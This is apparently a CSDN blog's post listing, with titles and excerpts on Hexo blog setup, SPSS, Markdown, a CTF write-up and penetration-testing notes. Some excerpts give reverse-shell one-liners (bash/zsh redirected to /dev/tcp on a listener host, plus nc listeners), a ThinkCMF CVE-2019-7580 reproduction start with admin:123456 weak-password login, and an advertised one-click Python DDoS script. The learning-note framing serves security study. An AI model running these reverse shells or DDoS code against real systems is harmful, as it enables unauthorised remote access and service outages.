爬虫数据分析师-CSDN博客

原创代码和人有一个能跑就刑*一键ddos攻击源码,体验命令行飞速刷屏的感觉

python 5行代码快速实现命令行攻击服务器,造成服务器瘫痪,代码和人有一个能跑就刑*一键ddos攻击源码,体验命令行飞速刷屏的感觉

2021-12-06 05:04:57 4196 3

原创【学习笔记】--mooc--教学研究的数据处理与工具应用（问卷+问卷星的使用+SPSS的下载、安装、使用、入门）--华南师范大学

【学习笔记】问卷+问卷星的使用+SPSS的下载、安装、使用、入门）--mooc--教学研究的数据处理与工具应用--华南师范大学

2019-08-17 12:29:21 2839

原创【T-Star赛事笔记】腾讯安全应急响应中心（TSRC）+WriteUp赛题四+比赛评价+小彩蛋--by wjl110

前言:(,･∀･)ﾉ゛hello，不出意外,各位小伙伴已经完成了这次的T-Star赛事,不知道各位心情如何(我反正觉得比赛很nice),体验不错,就像是周末跟小伙伴去玩儿密室逃脱一样,惊险刺激哈哈哈哈哈,下面👇是我在解第四题的思路和方法,提供给各位小伙伴参考,最近在练听力,所以摩斯密码纯考听滴~哈哈哈哈,听说还有别的小伙伴用在线音频文件解密的方式也是可以滴，方便快捷_，let’s go~~~0x01赛题描述跳转下载ziphttp://175.178.148.197/b378603d0266d7

2022-04-26 21:00:46 2704

原创逆向工程师逆向还原APP和代码，国产化就是这样

创作计划

2022-04-19 17:36:17 900

原创 [vulfocus漏洞复现]thinkcmf 代码执行漏洞复现（CVE-2019-7580）phpinfo()；ThinkCMF是一款支持Swoole的开源内容管理框架(CMF),基于ThinkPH

前言ThinkCMF是一款支持Swoole的开源内容管理框架(CMF),基于ThinkPHP开发. thinkcmf5.0.19 这个版本后台提供路由自定义，其中路由的别名对单引号缺少过滤，导致引发漏洞。1文章也会在这里同步0x01进入后台进入后台路径为:http://ip:port/admin0x02我们这里使用弱口令登录账户密码：admin:1234560x03进入添加分类页面依次进入1、门户管理2、分类管理3、添加分类分类名称随便填分类别名输入poc:1'=&g

2022-03-16 11:13:38 6538 3

原创【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i ＞& /dev/tcp/vps的ip/vps的端口 0＞&1

文章目录前言为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯)作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考1常用的反弹shell命令:bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1何为shellShell 脚本（

2022-03-15 19:54:25 8828 3

原创 [博客搭建]个人博客GitHub page+ hexo 优化+配置+页面布局

wjl110.xyz可以体验一下,这个站是经过优化的GitHub page正文开始:一个在线托管网站https://vercel.com进入注册登录即可新建项目导入你需要配置的项目:项目导入后第一栏填项目的名字:xxx第二栏填构建项目的框架ps:如果是静态hexo就选other第四栏选择网站执行目录hexo默认为/public我的为/点击部署即可即生成如下页面进入画面开始部署你的项目可以看到项目部署成功:自定义网站域名在这里设置:按照如下配置就可以托

2022-03-13 23:55:15 251

原创 ddos(分布式拒绝服务攻击)分为两种直接攻击/**反弹攻击(间接攻击)ddos及对抗方法ip溯源的实现原理和防御措施

ddos(分布式拒绝服务攻击)分为两种直接攻击/反弹攻击(间接攻击)ddos的实现原理是基于tcp/ip的三次握手实现的攻击者将发送ip设置为虚假ip,受访者在进行第二次握手时,不能判断ip真伪,向源地址发送响应包,并且等待第三次握手,随时间响应丢失,却占用cpu和内存直接攻击(控制肉鸡发送大量虚假请求)就是通过大量的这种虚假连接，消耗主机资源，造成主机资源枯竭，从而导致正常的用户不能进行正常访问。反弹攻击(反弹shell??)(模拟正常用户访问)是将包含假受害者的ip数据包发送到一些反射体上

2022-03-13 15:21:54 10513

原创 HEXO+GitHub+DNS配置个人博客实战指南,手把手教你搭建个人博客,自己建站

HEXO+GitHub个人博客实战指南先看看成果吧⬇️网站效果传送带https://wjl110.xyz测试命令本地测试:cd Desktop/xxx.comhexo cl & hexo g & hexo -p(端口) 54321 server发布github:hexo cl & hexo g & hexo d正文开始hexo的安装选择主题点这里选择自己的主题:我选择的是极光主题生成的文件主题和配置config配置文件中需要修改(其

2022-03-12 21:53:35 1277 1

原创 Mac/Linux平台命令行的大部分问题解决办法.包括:切换编译环境、mysql启动命令、查看mysql位置、Apache服务启动、,php(oracle)的安装设置环境变量,zsh:权限不够解决办法

切换到anaconda的大环境使用python把wjl更换为你的用户名即可 . /Users/wjl/opt/anaconda3/bin/activate && conda activate /Users/wjl/opt/anaconda3;切换pip 2.7环境,安装python2依赖/opt/local/Library/Frameworks/Python.framework/Versions/2.7/bin/pip install 模块名vps端口映射(

2022-03-10 10:36:28 2109 1

原创网安学习路线,最详细没有之一、看了这么多分享网安学习路线的一个详细的都没有~~

这是一个关于我的故事这一切都要从21年10月第一次接触网络端口扫描工具nmap说起:那天想看家里人用了哪些端口,Mac命令行brew安装了一个端口扫描工具“nmap”,从此,遨游网络的故事就开始了先后安装了Nessus,AWVS,Burp Suite…..于是一发不可收拾,感受到的就是惊喜和惊讶😺,互联网的安全世界如此奇妙于是接着步入了web的世界接踵而至的是metasploit，SQLmap，AWVS,，Nmap,蚁剑，冰蝎，CS,fscan，nmap，Nessus，goby，御剑

2022-03-09 12:21:58 2180

原创 MarkDown语法学习教程,2分钟学会速写个人GitHub,轻量化,快捷,迅速,方便.

MarkDown语法学习教程,2分钟学会速写个人GitHub,轻量化,快捷,迅速,方便.

2022-03-09 11:38:32 276

原创反弹shell命令学习笔记(命令在Mac里执行,反弹到kali机)sudo su 后连接必反弹

反弹shell命令(命令在Mac里执行,反弹到kali机)sudo su 后连接必反弹Mac端监听命令没有nc -lvp port 只有 nc -lv (或-lvv) portMac➡️kali :sudo suzsh -i > /dev/tcp/监听ip/监听端口(ls,pwd,whoami,cd /tmp,)kali机:监听端口并且实时回显信息nc -lvnp 监听端口单方通信ncMac:nc -lv 7777kali:nc -v 10.211.55.2(Mac:

2022-02-14 20:38:51 2900

原创 CSDN-markdown编辑器笔记

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入欢迎使用Ma...

2019-08-07 16:16:33 122

qq_37092496的博客